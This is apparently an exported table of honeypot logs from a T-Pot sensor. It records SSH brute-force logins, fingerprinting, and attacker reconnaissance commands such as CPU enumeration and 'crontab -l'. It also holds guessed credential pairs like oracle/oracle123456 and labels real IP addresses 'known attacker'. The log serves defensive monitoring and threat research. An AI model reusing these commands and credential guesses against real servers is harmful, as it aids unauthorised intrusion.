35768	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.655905+03	2021-09-20 15:15:03.69269+03	{"_id": "1gYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:01.655905Z", "@timestamp": "2021-09-20T12:10:01.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35769	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.014863+03	2021-09-20 15:15:03.69469+03	{"_id": "2wYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "163.172.167.225", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08408856391906738, "duplicate": true, "timestamp": "2021-09-20T12:10:02.014863Z", "@timestamp": "2021-09-20T12:10:02.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35770	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:01.437454+03	2021-09-20 15:15:03.69569+03	{"_id": "xgYcA3wBvYTbRNuE9F1g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "598b64643a1898ae2cf3b48e355cfa7421e468edd3755093533d7980d5a9d28c", "src_ip": "163.172.167.225", "ttylog": "log/tty/598b64643a1898ae2cf3b48e355cfa7421e468edd3755093533d7980d5a9d28c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/598b64643a1898ae2cf3b48e355cfa7421e468edd3755093533d7980d5a9d28c after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.03957104682922363, "duplicate": false, "timestamp": "2021-09-20T12:10:01.437454Z", "@timestamp": "2021-09-20T12:10:01.437Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35771	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.142013+03	2021-09-20 15:15:03.696691+03	{"_id": "0wYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.142013Z", "@timestamp": "2021-09-20T12:10:02.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35772	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.40726+03	2021-09-20 15:15:03.69769+03	{"_id": "1QYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.407260Z", "@timestamp": "2021-09-20T12:10:02.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35773	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:02.14307+03	2021-09-20 15:15:03.698689+03	{"_id": "2gYcA3wBvYTbRNuE-F1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:02.143070Z", "@timestamp": "2021-09-20T12:10:02.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35774	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.229685+03	2021-09-20 15:15:03.699689+03	{"_id": "3wYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "163.172.167.225", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "719b0a7cbeb6", "@version": "1", "duration": 0.08426952362060547, "duplicate": true, "timestamp": "2021-09-20T12:10:03.229685Z", "@timestamp": "2021-09-20T12:10:03.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	FR
35775	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.353702+03	2021-09-20 15:15:03.70069+03	{"_id": "4gYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.params", "message": [], "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.353702Z", "@timestamp": "2021-09-20T12:10:03.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	FR
35776	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:10:03.146041+03	2021-09-20 15:15:03.70269+03	{"_id": "5wYcA3wBvYTbRNuE_F0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "719b0a7cbeb6", "@version": "1", "timestamp": "2021-09-20T12:10:03.146041Z", "@timestamp": "2021-09-20T12:10:03.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	FR
35777	81.71.14.9	109.199.241.180	Suricata	2021-09-20 15:10:20.328471+03	2021-09-20 15:15:03.70369+03	{"_id": "WgYdA3wBvYTbRNuEP17F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:10:19.764822+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.14.9", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 131539718089622, "payload": "AAADzAYUe/fzS1VxdMi2p0gKkDr4DQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55976, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:10:20.328471Z", "@timestamp": "2021-09-20T12:10:20.328Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......{..KUqt...H\\n.:.\\r...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35778	81.71.14.9	109.199.241.180	Fatt	2021-09-20 15:10:20.328471+03	2021-09-20 15:15:03.70469+03	{"_id": "WwYdA3wBvYTbRNuEQF7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55976, "dest_port": 22, "timestamp": "2021-09-20T12:10:20.328471", "@timestamp": "2021-09-20T12:10:20.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35779	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:20.049576+03	2021-09-20 15:15:03.70569+03	{"_id": "YQYdA3wBvYTbRNuEQV4I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.14.9", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55976, "timestamp": "2021-09-20T12:10:20.049576", "@timestamp": "2021-09-20T12:10:20.049Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35780	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:10:21.173337+03	2021-09-20 15:15:03.70669+03	{"_id": "YgYdA3wBvYTbRNuEQl6O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.200.124.7:60210 (192.168.176.2:22) [session: e82d228bb528]", "session": "e82d228bb528", "@version": "1", "protocol": "ssh", "src_port": 60210, "dest_port": 22, "timestamp": "2021-09-20T12:10:21.173337Z", "@timestamp": "2021-09-20T12:10:21.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	UA
35781	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:10:21.468655+03	2021-09-20 15:15:03.707689+03	{"_id": "ZQYdA3wBvYTbRNuEQl6P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [oracle/oracle123456] failed", "session": "e82d228bb528", "@version": "1", "password": "oracle123456", "username": "oracle", "timestamp": "2021-09-20T12:10:21.468655Z", "@timestamp": "2021-09-20T12:10:21.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	UA
35782	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:10:21.560703+03	2021-09-20 15:15:03.709691+03	{"_id": "ZgYdA3wBvYTbRNuEQl6P", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [mumbleserver/mumbleserver] failed", "session": "f7603ab72756", "@version": "1", "password": "mumbleserver", "username": "mumbleserver", "timestamp": "2021-09-20T12:10:21.560703Z", "@timestamp": "2021-09-20T12:10:21.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
45333	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:44:06.540134+03	2021-09-20 16:45:02.810591+03	{"_id": "ygZzA3wBvYTbRNuEGKzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:44:06.540134Z", "@timestamp": "2021-09-20T13:44:06.540Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35783	91.200.124.7	109.199.241.180	Fatt	2021-09-20 15:10:21.213765+03	2021-09-20 15:15:03.71069+03	{"_id": "aQYdA3wBvYTbRNuERF6s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 